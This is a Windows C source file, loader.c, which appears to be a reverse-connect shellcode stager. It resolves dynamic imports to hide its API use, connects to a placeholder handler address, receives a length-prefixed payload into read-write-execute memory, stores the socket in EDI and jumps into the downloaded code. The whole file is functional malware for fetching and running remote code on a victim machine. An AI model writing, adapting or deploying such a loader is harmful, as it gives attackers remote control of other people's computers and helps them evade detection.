loader.c

/*
 * loader.c
 *
 *  Created on: Jun 24, 2016
 *      Author: r-21-
 */

#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>
#include <windows.h>

#include "dynimp.h"

#define TARGETIP "HEREHEREHEREHEREHERE"
#define TARGETPORT 1234

/* init winsock */
void winsock_init() {
	WSADATA	wsaData;
	WORD 		wVersionRequested;

	wVersionRequested = MAKEWORD(2, 2);


	if (FNC(WSAStartup, "Ws2_32.dll")(wVersionRequested, &wsaData) < 0) {
		printf("ws2_32.dll is out of date.\n");
		FNC(WSACleanup, "Ws2_32.dll")();
		exit(1);

	}
}

/* a quick routine to quit and report why we quit */
void punt(SOCKET my_socket, char * error) {
	printf("Bad things: %s\n", error);
	FNC(closesocket, "Ws2_32.dll")(my_socket);
	FNC(WSACleanup, "Ws2_32.dll")();
	exit(1);
}

/* attempt to receive all of the requested data from the socket */
int recv_all(SOCKET my_socket, void * buffer, int len) {
	int    tret   = 0;
	int    nret   = 0;
	void * startb = buffer;
	while (tret < len) {
		nret = FNC(recv, "Ws2_32.dll")(my_socket, (char *)startb, len - tret, 0);
		startb += nret;
		tret   += nret;

		if (nret == SOCKET_ERROR)
			punt(my_socket, "Could not receive data");
	}
	return tret;
}

/* establish a connection to a host:port */
SOCKET wsconnect(char * targetip, int port) {
	struct hostent *		target;
	struct sockaddr_in 	sock;
	SOCKET 			my_socket;

	/* setup our socket */
	my_socket = socket(AF_INET, SOCK_STREAM, 0);
	if (my_socket == INVALID_SOCKET)
		punt(my_socket, "Could not initialize socket");

	/* resolve our target */
	target = gethostbyname(targetip);
	if (target == NULL)
		punt(my_socket, "Could not resolve target");


	/* copy our target information into the sock */
	memcpy(&sock.sin_addr.s_addr, target->h_addr, target->h_length);
	sock.sin_family = AF_INET;
	sock.sin_port = htons(port);

	/* attempt to connect */
	if ( FNC(connect, "Ws2_32.dll")(my_socket, (struct sockaddr *)&sock, sizeof(sock)) )
		punt(my_socket, "Could not connect to target");

	return my_socket;
}


int main(int argc, char * argv[]) {
	ULONG32 size;
	char * buffer;
	void (*function)();

	winsock_init();

	/* connect to the handler */
	SOCKET my_socket = wsconnect(TARGETIP, TARGETPORT);

	/* read the 4-byte length */
	int count = FNC(recv, "Ws2_32.dll")(my_socket, (char *)&size, 4, 0);
	if (count != 4 || size <= 0)
		punt(my_socket, "read a strange or incomplete length value\n");

	/* allocate a RWX buffer */
	buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	if (buffer == NULL)
		punt(my_socket, "could not allocate buffer\n");

	/* prepend a little assembly to move our SOCKET value to the EDI register
	   thanks mihi for pointing this out
	   BF 78 56 34 12     =>      mov edi, 0x12345678 */
	buffer[0] = 0xBF;

	/* copy the value of our socket to the buffer */
	memcpy(buffer + 1, &my_socket, 4);

	/* read bytes into the buffer */
	count = recv_all(my_socket, buffer + 5, size);

	/* cast our buffer as a function and call it */
	function = (void (*)())buffer;
	function();

	return 0;
}